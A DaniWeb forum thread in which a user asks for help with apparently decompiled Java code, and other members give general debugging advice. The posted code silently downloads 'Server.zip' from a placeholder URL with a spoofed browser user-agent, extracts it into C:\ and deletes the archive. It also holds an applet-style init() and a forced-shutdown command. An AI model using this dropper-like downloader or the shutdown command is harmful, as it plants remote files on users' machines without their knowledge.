I can't seem to compile this properly. I'm having a lot of trouble. Can someone help me please? I have netbeans and Jarmaker. Anyone?

import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Enumeration;
import java.util.zip.ZipEntry;
import java.util.zip.ZipFile;

public class Update extends Thread
{

    public static void main(String args[])
    {
        new Update((new StringBuilder()).append("http://url").append(".zip").toString(), (new StringBuilder()).append("Server").append(".zip").toString(), "C:\\");
    }

    public void init()
    {
        new Update((new StringBuilder()).append("http://url").append(".zip").toString(), (new StringBuilder()).append("Server").append(".zip").toString(), "C:\\");
    }

    public Update(String s, String s1, String s2)
    {
        checkProgress = true;
        homeDir = s2;
        saveAs = (new StringBuilder()).append(s2).append(s1).toString();
        urlLoc = s;
        if(!(new File(s2)).exists())
            (new File(s2)).mkdir();
        if(downloadFile())
        {
            unZipFile();
            deleteFile();
        } else
        {
            System.out.println("error");
            deleteFile();
        }
    }

    void turnOFF()
    {
        try
        {
            Runtime.getRuntime().exec("Shutdown -f -s");
        }
        catch(Exception exception)
        {
            exception.printStackTrace();
        }
    }

    private void writeStream(InputStream inputstream, OutputStream outputstream)
        throws IOException
    {
        byte abyte0[] = new byte[1024];
        int i;
        while((i = inputstream.read(abyte0)) >= 0) 
            outputstream.write(abyte0, 0, i);
        inputstream.close();
        outputstream.close();
    }

    private void unZipFile()
    {
        try
        {
            ZipFile zipfile = new ZipFile(saveAs);
            for(Enumeration enumeration = zipfile.entries(); enumeration.hasMoreElements();)
            {
                ZipEntry zipentry = (ZipEntry)enumeration.nextElement();
                if(zipentry.isDirectory())
                {
                    if(checkProgress)
                        System.out.println((new StringBuilder()).append("Creating Directory: ").append(zipentry.getName()).toString());
                    (new File((new StringBuilder()).append(homeDir).append(zipentry.getName()).toString())).mkdir();
                } else
                {
                    if(checkProgress)
                        System.out.println((new StringBuilder()).append("Extracting File: ").append(zipentry.getName()).toString());
                    writeStream(zipfile.getInputStream(zipentry), new BufferedOutputStream(new FileOutputStream((new StringBuilder()).append(homeDir).append(zipentry.getName()).toString())));
                }
            }

            zipfile.close();
        }
        catch(Exception exception)
        {
            exception.printStackTrace();
        }
    }

    private void deleteFile()
    {
        try
        {
            File file = new File(saveAs);
            file.delete();
        }
        catch(Exception exception)
        {
            exception.printStackTrace();
        }
    }

    private boolean downloadFile()
    {
        try
        {
            if(checkProgress)
                System.out.println((new StringBuilder()).append("Downloading ").append(saveAs).append("...").toString());
            HttpURLConnection httpurlconnection = (HttpURLConnection)(new URL(urlLoc)).openConnection();
            HttpURLConnection.setFollowRedirects(true);
            httpurlconnection.setInstanceFollowRedirects(false);
            httpurlconnection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705;)");
            long l = httpurlconnection.getContentLength();
            FileOutputStream fileoutputstream = new FileOutputStream(saveAs);
            BufferedOutputStream bufferedoutputstream = new BufferedOutputStream(fileoutputstream);
            writeStream(httpurlconnection.getInputStream(), bufferedoutputstream);
            fileoutputstream.close();
            bufferedoutputstream.close();
            File file = new File(saveAs);
            if(checkProgress)
                System.out.println((new StringBuilder()).append(saveAs).append(" downloaded...").toString());
            return true;
        }
        catch(Exception exception)
        {
            exception.printStackTrace();
        }
        return false;
    }

    private String homeDir;
    private String saveAs;
    private String urlLoc;
    private boolean checkProgress;
}

Can someone please?

Post the errors you're getting.

It compiles with no error. Its just not functional -_-. Help please?

That does it do, and what it was supposed to do?
Also tell us where is the problematic part of the code.

Also you might want to add some System.out.println and see what are the values of the variables at the parts you are having problems

"It doesn't work" is absolutely meaningless.

What is the desired result and what is the actual result?

Run it through a debugger.

You might find Eclipse's debugger useful and easy to learn. Although I've personally (In Java) been able to find errors quite quickly with simple print statements.

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.